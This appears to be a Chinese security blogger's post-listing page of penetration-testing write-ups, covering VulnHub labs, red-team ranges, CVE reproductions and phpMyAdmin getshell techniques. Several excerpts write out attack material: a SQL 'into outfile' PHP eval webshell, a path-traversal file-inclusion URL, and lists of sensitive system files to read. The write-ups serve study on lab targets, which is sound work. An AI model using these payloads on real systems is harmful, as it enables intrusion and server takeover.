- 博客(29)
- 收藏
- 关注
原创 [代码审计] fengcms1.32从详细漏洞分析到漏洞利用
##前言这是我在此发表的第一篇代码审计的文章,仅供学习参考!首发于哈拉少安全小队微信公众号一、Cms初识:FengCms——由地方网络工作室基于PHP+MYSQL开发。是一款开源的网站内容管理系统。系统支持自由订制模型,你完全可以用FengCms打造一个你想要的任意展示模型。模版和程序分离、自由标签系统,让FengCms灵活无比。拥有FengCms,你可以完成国内95%的网站制作需要!-目录结构:二、漏洞描述:在fengcms的安装程序中,由于安装...
2020-12-20 15:02:50
632
原创 Phpstudy(小皮面板) nginx 解析漏洞
一、Phpstudy(小皮面板)简介:PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。二、漏洞简介:自从2019年Phpstudy爆出的后门事件已经过去一段时间了,期间也没有爆出过什么漏洞,并且现在Phpstudy(小皮面板)已经改版了,这次爆出的漏洞是nginx的解析漏洞,也就是存在已久的/xx.php解析漏洞漏洞原理:1、由于用户.
2020-09-02 22:46:26
2959
1
原创 Wordpress4.7.4-CSRF漏洞复现
#001 漏洞简介:CSRF漏洞出现的位置是,管理员后台的添加用户和删除用户处均存在CSRF漏洞。#002 漏洞复现:Part1-添加用户的CSRF:首先找到添加用户的页面,添加用户,如下图填入相关信息,点击添加可以看到成功添加,接下来我们试着抓包分析一下我们试着去抓包看一下有没有加token验证,尝试改一下参数,看能否添加其他用户,构造请求,让管理员点击,就会成功添加新的用户。接下来具体分析和操作:首先开启burp的代理拦截,抓包,可以看到是通过PO...
2020-08-22 23:26:07
1139
2
原创 wordpress 5.2.4-CORS跨域劫持漏洞复现
#001 漏洞简介CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。通过该标准,可以允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,进而读取跨域的资源。CORS允许Web服务器通知Web浏览器应该允许哪些其他来源从该Web服务器的回复中访问内容漏洞产生原因:在Access-Control-Allow-Origin中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资..
2020-08-22 23:23:54
1166
原创 文件包含利用方式(总结)
一、利用思路总结:1、包含一些敏感的配置文件,获取目标敏感信息2、配合图片马getshell3、包含临时文件getshell4、包含session文件getshell5、包含日志文件getshell(Apach、SSH等等)6、利用php伪协议进行攻击二、具体利用方法:①包含一些敏感的配置文件windows常见的敏感文件路径:C:\boot.ini //查看系统版本C:\Windows\System32\inetsrv\MetaBase.xml //IIS配.
2020-07-13 09:08:51
4299
原创 Me-and-My-girlfriend-1靶机实战-vuluhub系列(完结)
这是vuluhub靶机实战系列完结篇了,本次主要知识点为:XFF头绕过限制,越权漏洞、sudo滥用提权之php命令靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13234298.html#001环境搭建攻击机kali:192.168.136.129靶机Me-and-My-girlfriend-1:192.168..
2020-07-11 13:02:52
866
原创 Suid之find提权靶机渗透实战
这是vulnhub靶机系列文章的第十一篇,本次主要知识点为:drupal漏洞利用,suid提权之find命令靶机下载地址:https://www.vulnhub.com/entry/dc-1-1,292/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13229881.html#001 实验环境攻击机:kali :192.168.136.129靶机:192.168.136.136#002 寻找靶机ipKali下使用netdisco..
2020-07-11 13:01:33
1516
原创 Dusk靶机渗透实战-vuluhub系列(十)
这是vulnhub靶机系列文章的第十篇,本次主要知识点为:mysql 3306端口爆破、sql-shell写webshell、nc反弹shell、sudo滥用提权之-make、docker命令靶机下载链接:https://www.vulnhub.com/entry/sunset-dusk,404/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13223131.html#001 环境搭建(nat)攻击机kali:192.168.136.129靶机Du
2020-07-09 09:16:31
656
原创 Billu-b0x靶机渗透实战-vuluhub系列(九)
这是vulnhub靶机系列文章的第九篇,昨天因为学习的过程中卡壳了,搞到最后解决后,但是没精力了就没更新了....,本次主要知识点为:任意文件下载漏洞、sql注入代码审计,文件包含代码审计、文件上传绕过getshell,linux内核溢出提权靶机下载地址:https://www.vulnhub.com/entry/billu-b0x,188/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13217674.html#001 环境搭建(nat)攻击机:k
2020-07-09 09:14:49
412
原创 EVM靶机渗透实战-vuluhub系列(八)
这是vulnhub靶机系列文章的第八篇,本次主要知识点为:利用msf登陆wordpress后台getshell,本机信息收集的妙处Ps:用vm环境搭建的时候会获取不到ip,可换成vutrlbox或者自行百度解决,也可以联系我(如有需要的话)靶机下载地址:https://www.vulnhub.com/entry/evm-1,391/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13209803.html#001 实验环境(nat模式)攻击机:.
2020-07-07 19:26:30
784
原创 Five86-2靶机渗透实战-vuluhub系列(七)
这是vulnhub靶机系列文章的第七篇,本次主要知识点为:wordpress后台插件getshell,tcpdump抓取ftp流量,sudo滥用之service、passwd提权,话不多说,直接开始吧...靶机下载地址:https://www.vulnhub.com/entry/five86-2,418/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13202380.html#001 环境搭建(nat)攻击机kali:192.168.136.1..
2020-07-07 19:24:37
413
原创 Mrrobot靶机渗透实战-vuluhub系列(六)
这是vulnhub靶机系列文章的第六篇,本次主要知识点为:wordpress后台编辑模板getshell,suid提权-nmap命令,话不多说,直接开始吧...靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/#001 实验环境(nat模式)攻击机:kali:192.168.136.129靶机mrrobot:192.168.136.138#002 实战writeup寻找靶机ip,查找网卡中存活的主机,找到靶机ip:19...
2020-07-04 11:39:11
605
原创 Evilscience靶机渗透实战-vulnhub系列(五)
这是vulnhub靶机系列文章的第五篇,本次的靶机主要学习到的漏洞利用为文件包含漏洞,话不多说,直接开始吧...靶机下载地址:https://www.vulnhub.com/entry/the-ether-evilscience,212原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13195877.html#001 环境搭建(nat)攻击机kali:192168.136.129靶机evilscience:192.168.136.143..
2020-07-04 11:37:30
559
原创 raven靶机实战(linux-udf提权)-vuluhub系列(四)
这是vulnhub靶机系列文章的第四篇,本次的靶机感觉还是挺有趣的,学到的重要知识点为linux下-mysql的udf提权以及某cms的漏洞getshell,开始吧...靶机下载链接:https://download.vulnhub.com/raven/Raven2.ova原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13189038.html#001 环境搭建(nat)攻击机kali:192.168.136.129靶机Raven2:192.168.
2020-06-28 13:11:34
980
1
原创 XXE靶机实战-vuluhub系列(三)
这是vulnhub靶机系列文章的第三篇,具体下载连接去vulnhub或者百度、谷歌搜搜就好...开始进入主题首先xxe是xml外部实体注入漏洞,可通过进入外部实体进行攻击,例如读取敏感文件,扫描端口等等,实战中感觉出现几率不是很大,唯一一次遇到是某司面试题,当时团队小伙伴遇到了,运气爆棚的我找到了xxe漏洞,顺道内部交流了下hahaha,不扯淡了,开始吧...原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13183950.html#001寻找靶机ip..
2020-06-28 13:09:35
452
1
原创 Library靶机cookie注入-vuluhub系列(二)
这是vulnhub靶机系列文章的第二篇,具体下载连接去vulnhub或者百度、谷歌搜搜就好...开始进入主题原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13178316.html1、 首先用nmap扫描网段内存活主机:nmap -T4 -sn 192.168.136.0/242、 扫出靶机ip后,用nmap扫描靶机开放的端口:nmap -T4 -sS 192.168.136.1303、访问192.168.136.130..
2020-06-27 17:53:32
548
原创 AI Web 1靶机渗透实战-vuluhub系列(一)
这是vulnhub靶机系列文章的第一篇,接下来这段时间会分享曾经做过比较接近实战的靶机,把思路分享给大家...靶机下载链接:https://www.vulnhub.com/entry/ai-web-1,353/原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13172299.html#001 环境搭建(nat)攻击机kali:192.168.136.129靶机AI-web-1:192.168.136.142#002 实战writeup寻.
2020-06-27 17:51:17
1285
原创 CVE-2018-19968 phpmyadmin文件包含getshell连载(完结)
这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过文件包含getshell,本文将通过另一个CVE文件包含漏洞继续展开讨论原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13169447.html#001环境搭建在线环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1也可以选择自行到phpmyadmin官网下载对应版本#002漏洞复现1、首先登...
2020-06-24 18:20:02
312
原创 CVE-2018-12613 phpmyadmin文件包含getshell连载(三)
这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13164349.html#001 影响版本Phpmyadmin 4.8.0/4.8.0.1/4.8.1#002 漏洞验证利用http://www.xxx.com/index.php?target=db_sql.php%253f/../../../../../../e.
2020-06-24 18:17:15
648
原创 phpmyadmin通过慢查询日志getshell连载(二)
这是phpmyadmin系列渗透思路的第二篇文章,前面一篇文章阐述了通过全局日志getshell,但是还有一个日志可以getshell,那就是本次实验的慢查询日志,操作类似,毕竟实战中多一条路就多一次成功的机会原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13157197.html1、查看当前慢查询日志目录show variables like '%slow%';2、开启慢查询日志功能set global slow_query_log.
2020-06-23 19:27:38
1339
原创 phpmyadmin系列渗透思路连载(一)
当拿到phpmyadin的站点后,我一般会尝试一下几种攻击手法:1、通过弱口令进入后台,尝试into outfile写入一句话条件:(1)有写的权限 (2)知道web绝对路径 (3)web路径可写(一般upload目录可写)show variables like '%secure%'; #如果为null就不可写,=""就可写select '<?php eval($_POST[cmd]);?>' into outfile 'E:/www/xx/php'; #...
2020-06-23 19:25:21
861
原创 CFS三层网络环境靶场实战
一、环境搭建:①根据作者公开的靶机信息整理共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:②虚拟机网卡设置target1(centos)双网卡模拟内外网:外网:192.168.1.3,桥接模式内网:192.168.22.128,仅主机模式target2(ubuntu)双网卡存在两个内网网段:内网1:1...
2020-06-22 19:06:37
2976
2
原创 vulstack红队评估(五)
原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13118352.html一、环境搭建:①根据作者公开的靶机信息整理虚拟机密码:Win7:heart 123.com #本地管理员用户sun\Administrator dc123.com #域管用户,改为了panda123..Win2008:sun\admin 2020.com #由于需要改密码,我更改为panda666...②虚拟机网卡设置Wi...
2020-06-22 18:51:03
974
2
原创 vulstack红队评估(四)
原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13118210.html一、环境搭建:①根据作者公开的靶机信息整理虚拟机密码:ubuntu:ubuntu:ubuntuwin7:douser:Dotest123Win2008 DC:administrator:Test2008,因为登陆要修改密码,所以改为了panda666...②虚拟机网卡设置ubuntu双网卡模拟内外网:外网:192.168.1....
2020-06-21 13:57:15
1708
3
原创 vulstack红队评估(三)
原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13118679.html一、环境搭建:①根据作者公开的靶机信息整理没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件②虚拟机网卡设置centos双网卡模拟内外网:外网:192.168.1.110内网:192.168.93.100其他主机都是内网,仅主机模式:内网:192.168.93.0/24所有虚拟机默认挂起状态,开启就已经登陆了...
2020-06-21 13:51:55
1038
原创 vulstack红队评估(二)
一、环境搭建:1、根据作者公开的靶机信息整理:靶场统一登录密码:1qaz@WSX2、网络环境配置:①Win2008双网卡模拟内外网:外网:192.168.1.80,桥接模式与物理机相通内网:10.10.10.80,仅主机模式②PC-win7只有内网:内网:10.10.10.201,仅主机模式③win2012-DC只有内网:内网:10.10.10.10,仅主机模式启动web服务:运行C:\Oracle\Middleware\u...
2020-06-20 18:04:24
1549
2
原创 vulstack红队评估(一)
一、环境搭建:1、根据作者公开的靶机信息整理:虚拟机初始所有统一密码:hongrisec@2019因为登陆前要修改密码,改为了panda666...2、虚拟网卡网络配置:①Win7双网卡模拟内外网:外网:192.168.1.43,桥接模式与物理机相通内网:192.168.52.143还需要修改以下网络配置,将网段设置好②Win2003只有内网:内网:192.168.52.138,仅主机模式③Win2008只有内网:内网:19...
2020-06-20 18:01:14
2531
原创 CVE-2017-7269-iis远程溢出漏洞复现
##01漏洞描述cve_2017_7269漏洞属于高危漏洞,是由Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)发现的。IIS 6.0开启Webdav服务的服务器被爆存在缓存区溢出漏洞导致远程代码随意执行,目前针对 Windows Server 2003 R2 可以稳定利用。下面开始复现cve_2017_7269漏洞,拿下windows 2003 R2权限,并远程登录服务器:##02靶机实验环境目标主机:Windows Server 2..
2020-06-19 18:29:14
634
原创 frp多层socks代理+端口映射
一、首先在公网上配置服务端(frps.ini)[common]bind_addr = xx.xx.xx.xx #公网vps的ipbind_port = 7000二、配置客户端frpc. ini[common]server_addr = xx.xx.xx.xx#公网vps的ipserver_port = 7000 #这里的端口要跟服务端的一样[msf]type = tcplocal_ip = 本机iplocal_port = 55...
2020-06-12 13:30:45
6836
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人